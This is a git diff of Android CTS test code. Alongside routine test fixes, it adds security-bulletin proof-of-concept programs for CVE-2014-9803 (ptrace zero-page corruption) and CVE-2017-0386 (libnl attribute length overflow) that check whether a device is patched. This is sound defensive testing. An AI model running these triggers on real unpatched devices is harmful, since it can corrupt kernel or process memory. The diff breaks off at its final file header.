index 9fbeba2..58145e2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
@@ -301,10 +301,8 @@
 
         String message = "Test Roll Axis Accuracy";
 
-        Assert.assertEquals("Roll RMS error", 0.0, mReport.roll_rms_error,
-                Criterion.roll_rms_error);
-        Assert.assertEquals("Roll max error", 0.0, mReport.roll_max_error,
-                Criterion.roll_max_error);
+        assertLessThan("Roll RMS error", mReport.roll_rms_error, Criterion.roll_rms_error);
+        assertLessThan("Roll max error", mReport.roll_max_error, Criterion.roll_max_error);
         return message;
     }
 
@@ -316,10 +314,8 @@
 
         String message = "Test Pitch Axis Accuracy";
 
-        Assert.assertEquals("Pitch RMS error", 0.0, mReport.pitch_rms_error,
-                Criterion.pitch_rms_error);
-        Assert.assertEquals("Pitch max error", 0.0, mReport.pitch_max_error,
-                Criterion.pitch_max_error);
+        assertLessThan("Pitch RMS error", mReport.pitch_rms_error, Criterion.pitch_rms_error);
+        assertLessThan("Pitch max error", mReport.pitch_max_error, Criterion.pitch_max_error);
         return message;
     }
 
@@ -331,13 +327,16 @@
 
         String message = "Test Yaw Axis Accuracy";
 
-        Assert.assertEquals("Yaw RMS error", 0.0, mReport.yaw_rms_error,
-                Criterion.yaw_rms_error);
-        Assert.assertEquals("Yaw max error", 0.0, mReport.yaw_max_error,
-                Criterion.yaw_max_error);
+        assertLessThan("Yaw RMS error", mReport.yaw_rms_error, Criterion.yaw_rms_error);
+        assertLessThan("Yaw max error", mReport.yaw_max_error, Criterion.yaw_max_error);
         return message;
     }
 
+    private void assertLessThan(String message, double lhs, double rhs) {
+        Assert.assertTrue(String.format("%s - expected %.4f < %.4f", message, lhs, rhs),
+                lhs < rhs);
+    }
+
     private void loadOpenCVSuccessfulOrSkip() throws SensorTestStateNotSupportedException {
         if (!mOpenCVLoadSuccessful)
             throw new SensorTestStateNotSupportedException("Skipped due to OpenCV cannot be loaded");
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
old mode 100644
new mode 100755
index 301a626..c26ddd0
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -43,7 +43,7 @@
 public class BlockingBroadcastReceiver extends BroadcastReceiver {
     private static final String TAG = "BlockingBroadcast";
 
-    private static final int DEFAULT_TIMEOUT_SECONDS = 10;
+    private static final int DEFAULT_TIMEOUT_SECONDS = 30;
 
     private final BlockingQueue<Intent> mBlockingQueue;
     private final String mExpectedAction;
@@ -68,7 +68,7 @@
 
     /**
      * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
-     * if no broadcast with expected action is received within 10 seconds.
+     * if no broadcast with expected action is received within 30 seconds.
      */
     public @Nullable Intent awaitForBroadcast() {
         try {
diff --git a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
index 1718ab7..6d5c336 100644
--- a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
+++ b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
@@ -119,7 +119,7 @@
             runTestAsPrimaryUser(CALL_BLOCKING_TEST_CLASS_NAME, "testUnregisterPhoneAccount");
 
             // Run tests as secondary user.
-            assertTrue(getDevice().startUser(mSecondaryUserId));
+            startUserAndWait(mSecondaryUserId);
 
             // Ensure that a privileged app cannot block numbers when the current user is a
             // secondary user.
@@ -142,6 +142,29 @@
         }
     }
 
+    /** Starts user {@code userId} and waits until it is in state RUNNING_UNLOCKED. */
+    protected void startUserAndWait(int userId) throws Exception {
+        getDevice().startUser(userId);
+
+        final String desiredState = "RUNNING_UNLOCKED";
+        final long USER_STATE_TIMEOUT_MS = 60_0000; // 1 minute
+        final long timeout = System.currentTimeMillis() + USER_STATE_TIMEOUT_MS;
+        final String command = String.format("am get-started-user-state %d", userId);
+        String output = "";
+        while (System.currentTimeMillis() <= timeout) {
+            output = getDevice().executeShellCommand(command);
+            if (output.contains(desiredState)) {
+                return;
+            }
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException e) {
+                // Do nothing.
+            }
+        }
+        fail("User state of " + userId + " was '" + output + "' rather than " + desiredState);
+    }
+
     private void createSecondaryUser() throws Exception {
         mSecondaryUserId = getDevice().createUser(SECONDARY_USER_NAME);
         getDevice().waitForDeviceAvailable();
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 18db75d..1954c49 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -56,6 +56,7 @@
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
 
         <!-- Bulletin 2016-09 -->
@@ -78,6 +79,7 @@
         <!--__________________-->
         <!-- Bulletin 2017-01 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
 
         <!--__________________-->
         <!-- Bulletin 2017-02 -->
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index 761e529..54e70cb1 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -190,7 +190,7 @@
 int main() {
     sp<InputChannel> server, client;
 
-    status_t result = InputChannel::openInputChannelPair("channel name", server, client);
+    status_t result = InputChannel::openInputChannelPair(String8("channel name").string(), server, client);
     if (result != OK) {
         ALOGE("Could not open input channel pair");
         return 0;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
new file mode 100644
index 0000000..e9ffee4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2014-9803
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
new file mode 100644
index 0000000..6ab4633
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <../includes/common.h>
+
+volatile char *mem = 0;
+
+// child
+int check_zero_page() {
+  char *temp =
+      (char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  int zeropage = *(int *)temp;
+  munmap(temp, 4096);
+  return zeropage;
+}
+
+// child
+int do_child(int val) {
+  // enable tracing and wait until parent is finished unlocking zero page
+  ptrace(PTRACE_TRACEME, 0, 0, 0);
+  sleep(2);
+
+  mprotect((void *)mem, 4096, PROT_READ | PROT_WRITE);
+
+  // try to corrupt zero page
+  mem[0] = val;
+
+  int zeropage = check_zero_page();
+  return zeropage ? EXIT_VULNERABLE : 0;
+}
+
+// parent
+int do_trace(pid_t child) {
+  int status = 0;
+  sleep(1); // wait until child is set up
+  kill(child, SIGSTOP); // pause child
+  waitpid(child, &status, 0);
+
+  // unlock zero page
+  status = ptrace(PTRACE_PEEKDATA, child, mem, 0);
+
+  // stop tracing so child can continue
+  ptrace(PTRACE_DETACH, child, 0, 0);
+  kill(child, SIGCONT);
+  return status;
+}
+
+int main(void) {
+
+  char value = 0xAA;
+
+  mem = (volatile char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  mprotect((void *)mem, 4096, PROT_NONE);
+
+  pid_t child = fork();
+
+  if (child == 0) {
+    return do_child(value);
+  } else {
+    do_trace(child);
+  }
+
+  int status = 0;
+  waitpid(child, &status, 0); // wait for child to exit naturally
+  int exit = WEXITSTATUS(status); // get child exit status
+
+  munmap((void *)mem, 4096);
+
+  return exit;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
new file mode 100755
index 0000000..258944f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0386
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := external/libnl/include
+
+LOCAL_SHARED_LIBRARIES := \
+    libnl \
+    libc \
+    liblog \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
new file mode 100755
index 0000000..90f3238
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
@@ -0,0 +1,100 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2017-0386"
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdio.h>
+#include <log/log.h>
+#include <netlink/msg.h>
+#include <netlink/netlink.h>
+#include <netlink-private/object-api.h>
+#include <netlink-private/types.h>
+#include <netlink/object.h>
+#include <netlink/attr.h>
+
+#include "../includes/common.h"
+
+int main(void) {
+  struct nl_msg *message = NULL;
+  struct nlmsghdr *hdr;
+  char *data = NULL;
+  uint32_t result = 0;
+  int ret = EXIT_SUCCESS;
+  int pagesize = getpagesize();
+  size_t payloadlength = pagesize + 12 - 0x30;
+  size_t payload2length = pagesize;
+
+  message = nlmsg_alloc();
+  if (message == NULL) {
+    ALOGE("Alloc message memory failed");
+    return EXIT_FAILURE;
+  }
+
+  ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
+  hdr = message->nm_nlh;
+
+  //allocate memory for data with payloadlength
+  data = malloc(payloadlength);
+  if (data == NULL) {
+    ALOGE("Alloc data memory failed");
+    nlmsg_free(message);
+    return EXIT_FAILURE;
+  }
+
+  memset(data, 0x41, payloadlength);
+  nla_put(message, 0x4444, payloadlength, data);
+  result = hdr->nlmsg_len;
+  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+  ALOGI("message len = 0x%x", result);
+
+  free(data);
+  data = NULL;
+
+  //allocate memory for data with payload2length
+  data = malloc(payload2length);
+  if (data == NULL) {
+    ALOGE("Alloc data2 memory failed");
+    nlmsg_free(message);
+    return EXIT_FAILURE;
+  }
+  memset(data, 0x33, payload2length);
+  ALOGI("\n\n\nPutting down overflow.......\n\n\n");
+  nla_put(message, 0x8888, 0xFFFFF000, data);
+
+  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+  ALOGI("message len = 0x%x", hdr->nlmsg_len);
+
+  /*
+   * return 113 error code if length is mismatch
+   */
+  if(result != hdr->nlmsg_len) {
+    ret = EXIT_VULNERABLE;
+  }
+
+  if(!data) {
+    free(data);
+    data = NULL;
+  }
+
+  if(!message) {
+    nlmsg_free(message);
+    message = NULL;
+  }
+  return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index db56a31..bc93c1e 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -30,6 +30,9 @@
     exit(EXIT_FAILURE); \
   }
 
+#define _32_BIT UINTPTR_MAX == UINT32_MAX
+#define _64_BIT UINTPTR_MAX == UINT64_MAX
+
 time_t start_timer(void);
 int timer_active(time_t timer_started);
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 1e33083..dcabb76 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -38,4 +38,12 @@
         assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
                 logcat);
     }
+
+    /**
+     *  b/28557020
+     */
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2014_9803() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 629f83f..107ac45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -124,4 +124,12 @@
             assertTrue(!result.equals("Vulnerable"));
         }
     }
+
+    /**
+     *  b/32255299
+     */
+    @SecurityTest(minPatchLevel = "2017-01")
+    public void testPocCVE_2017_0386() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
new file mode 100644
index 0000000..3ab1829
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import java.util.concurrent.TimeoutException;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import static org.junit.Assert.*;
+
+public class RegexUtils {
+    private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
+
+    public static void assertContains(String pattern, String input) throws Exception {
+        assertFind(pattern, input, false, false);
+    }
+
+    public static void assertContainsMultiline(String pattern, String input) throws Exception {
+        assertFind(pattern, input, false, true);
+    }
+
+    public static void assertNotContains(String pattern, String input) throws Exception {
+        assertFind(pattern, input, true, false);
+    }
+
+    public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
+        assertFind(pattern, input, true, true);
+    }
+
+    private static void assertFind(
+            String pattern, String input, boolean shouldFind, boolean multiline) {
+        // The input string throws an error when used after the timeout
+        TimeoutCharSequence timedInput = new TimeoutCharSequence(input, 60_000); // 1 minute
+        Matcher matcher = null;
+        if (multiline) {
+            // DOTALL lets .* match line separators
+            // MULTILINE lets ^ and $ match line separators instead of input start and end
+            matcher = Pattern.compile(
+                    pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
+        } else {
+            matcher = Pattern.compile(pattern).matcher(timedInput);
+        }
+
+        try {
+            long start = System.currentTimeMillis();
+            boolean found = matcher.find();
+            long duration = System.currentTimeMillis() - start;
+
+            if (duration > 1000) { // one second
+                // Provide a warning to the test developer that their regex should be optimized.
+                CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
+            }
+
+            if (found && shouldFind) { // failed notContains
+                String substring = input.substring(matcher.start(), matcher.end());
+                String context = getInputContext(input, matcher.start(), matcher.end(),
+                        CONTEXT_RANGE, CONTEXT_RANGE);
+                fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
+                        context + "...");
+            } else if (!found && !shouldFind) { // failed contains
+                fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
+            }
+        } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
+            // regex match has taken longer than the timeout
+            // this usually means the input is extremely long or the regex is catastrophic
+            fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
+        }
+    }
+
+    /*
+     * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
+     * grep.
+     */
+    private static String getInputContext(String input, int start, int end, int before, int after) {
+        start = Math.max(0, start - before);
+        end = Math.min(input.length(), end + after);
+        return input.substring(start, end);
+    }
+
+    /*
+     * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
+     * against the timeout. If the current time is greater than the expiration time, an exception is
+     * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
+     */
+    private static class TimeoutCharSequence implements CharSequence {
+        long expireTime = 0;
+        CharSequence chars = null;
+
+        TimeoutCharSequence(CharSequence chars, long timeout) {
+            this.chars = chars;
+            expireTime = System.currentTimeMillis() + timeout;
+        }
+
+        @Override
+        public char charAt(int index) {
+            if (System.currentTimeMillis() > expireTime) {
+                throw new CharSequenceTimeoutException(
+                        "TimeoutCharSequence was used after the expiration time.");
+            }
+            return chars.charAt(index);
+        }
+
+        @Override
+        public int length() {
+            return chars.length();
+        }
+
+        @Override
+        public CharSequence subSequence(int start, int end) {
+            return new TimeoutCharSequence(chars.subSequence(start, end),
+                    expireTime - System.currentTimeMillis());
+        }
+
+        @Override
+        public String toString() {
+            return chars.toString();
+        }
+
+        private static class CharSequenceTimeoutException extends RuntimeException {
+            public CharSequenceTimeoutException(String message) {
+                super(message);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index ea6d66c..b1bd053 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -27,10 +27,13 @@
 import java.util.Map;
 import java.util.HashMap;
 import com.android.ddmlib.Log;
+import java.util.concurrent.Callable;
+import java.math.BigInteger;
 
 public class SecurityTestCase extends DeviceTestCase {
 
     private static final String LOG_TAG = "SecurityTestCase";
+    private static final int RADIX_HEX = 16;
 
     private long kernelStartTime;
 
@@ -122,21 +125,85 @@
         }
     }
 
+    // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
+    // b/123237827
+    @Deprecated
     public void assertMatches(String pattern, String input) throws Exception {
-        assertTrue("Pattern not found", Pattern.matches(pattern, input));
+        RegexUtils.assertContains(pattern, input);
     }
 
+    @Deprecated
     public void assertMatchesMultiLine(String pattern, String input) throws Exception {
-        assertTrue("Pattern not found: " + pattern,
-          Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
+        RegexUtils.assertContainsMultiline(pattern, input);
     }
 
+    @Deprecated
     public void assertNotMatches(String pattern, String input) throws Exception {
-        assertFalse("Pattern found", Pattern.matches(pattern, input));
+        RegexUtils.assertNotContains(pattern, input);
     }
 
+    @Deprecated
     public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
-        assertFalse("Pattern found: " + pattern,
-          Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
+        RegexUtils.assertNotContainsMultiline(pattern, input);
+    }
+
+    /**
+     * Runs a provided function that collects a String to test against kernel pointer leaks.
+     * The getPtrFunction function implementation must return a String that starts with the
+     * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
+     * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
+     * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
+     * normal kernel space. The test re-runs to make false positives statistically insignificant.
+     * When kernel pointers won't change without a reboot, provide a device to reboot.
+     *
+     * @param getPtrFunction a function that returns a string that starts with a pointer
+     * @param deviceToReboot device to reboot when kernel pointers won't change
+     */
+    public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
+            throws Exception {
+        String ptr = null;
+        for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
+            ptr = getPtrFunction.call();
+            if (ptr == null) {
+                return;
+            }
+            if (!isKptr(ptr)) {
+                // quit early because the ptr is likely hashed or zeroed.
+                return;
+            }
+            if (deviceToReboot != null) {
+                deviceToReboot.nonBlockingReboot();
+                deviceToReboot.waitForDeviceAvailable();
+            }
+        }
+        fail("\"" + ptr + "\" is an exposed kernel pointer.");
+    }
+
+    private boolean isKptr(String ptr) {
+        Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
+        if (!m.find() || m.start() != 0) {
+           // ptr string is malformed
+           return false;
+        }
+        int length = m.end();
+
+        if (length == 8) {
+          // 32-bit pointer
+          BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+          // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
+          // 0x3fffffff bytes = 1GB /  0xffffffff = 4 GB
+          // 1 in 4 collision for hashed pointers
+          return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
+        } else if (length == 16) {
+          // 64-bit pointer
+          BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+          // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
+          // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
+          // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
+          // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
+          return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
+        }
+
+        return false;
     }
 }
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 40b434b..3e1f801 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 8d8adb1..8838492 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -299,9 +299,12 @@
 
     private void setBatteryCharging(final boolean charging) throws Exception {
         final BatteryManager bm = mContext.getSystemService(BatteryManager.class);
-        final String cmd = "dumpsys battery " + (charging ? "reset" : "unplug");
-        executeAndLog(cmd);
-        if (!charging) {
+        if (charging) {
+            executeAndLog("dumpsys battery reset");
+        } else {
+            executeAndLog("dumpsys battery unplug");
+            executeAndLog("dumpsys battery set status " +
+                    BatteryManager.BATTERY_STATUS_DISCHARGING);
             assertTrue("Battery could not be unplugged", waitUntil(() -> !bm.isCharging(), 5_000));
         }
     }
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 428403d..bcfc2c8 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -29,8 +29,7 @@
 
         <uses-library android:name="android.test.runner" />
 
-        <activity android:name=".LoginActivity"
-                  android:screenOrientation="portrait">
+        <activity android:name=".LoginActivity" >
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it maks easier to launch
                      this app during CTS development... -->
@@ -43,7 +42,7 @@
                   android:theme="@style/MyAutofilledHighlight"/>
         <activity android:name=".LoginWithStringsActivity" />
         <activity android:name=".WelcomeActivity" android:taskAffinity=".WelcomeActivity"/>
-        <activity android:name=".ViewAttributesTestActivity" android:screenOrientation="portrait"/>
+        <activity android:name=".ViewAttributesTestActivity" />
         <activity android:name=".AuthenticationActivity" />
         <activity android:name=".ManualAuthenticationActivity" />
         <activity android:name=".CheckoutActivity" android:taskAffinity=".CheckoutActivity"/>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 2037259..1f0f5ac 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -53,6 +53,7 @@
 import android.view.ViewGroup;
 import android.view.ViewStructure.HtmlInfo;
 import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
 import android.view.autofill.AutofillManager.AutofillCallback;
 import android.view.autofill.AutofillValue;
 import android.webkit.WebView;
@@ -1231,7 +1232,27 @@
                 "bitmap comparison failed; check contents of " + dump1 + " and " + dump2);
     }
 
-    @Nullable
+    /**
+     * Asserts that autofill is enabled in the context, retrying if necessariy.
+     */
+    public static void assertAutofillEnabled(@NonNull Context context, boolean expected)
+        throws Exception {
+      assertAutofillEnabled(context.getSystemService(AutofillManager.class), expected);
+    }
+
+    /**
+     * Asserts that autofill is enabled in the manager, retrying if necessariy.
+     */
+    public static void assertAutofillEnabled(@NonNull AutofillManager afm, boolean expected)
+        throws Exception {
+      Timeouts.IDLE_UNBIND_TIMEOUT.run("assertEnabled(" + expected + ")", () -> {
+            final boolean actual = afm.isEnabled();
+            Log.v(TAG, "assertEnabled(): expected=" + expected + ", actual=" + actual);
+            return actual == expected ? "not_used" : null;
+          });
+    }
+
+  @Nullable
     private static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File dir,
             @NonNull String filename) throws IOException {
         final File file = new File(dir, filename);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index c476c7c..c6b63a3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2328,12 +2328,12 @@
 
         // Sanity check.
         final AutofillManager afm = mActivity.getAutofillManager();
-        assertThat(afm.isEnabled()).isTrue();
+        Helper.assertAutofillEnabled(afm, true);
 
         // Now disable user_complete and try again.
         try {
             setUserComplete(mContext, false);
-            assertThat(afm.isEnabled()).isFalse();
+            Helper.assertAutofillEnabled(afm, false);
         } finally {
             setUserComplete(mContext, true);
         }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 7149899..1a9ca43 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
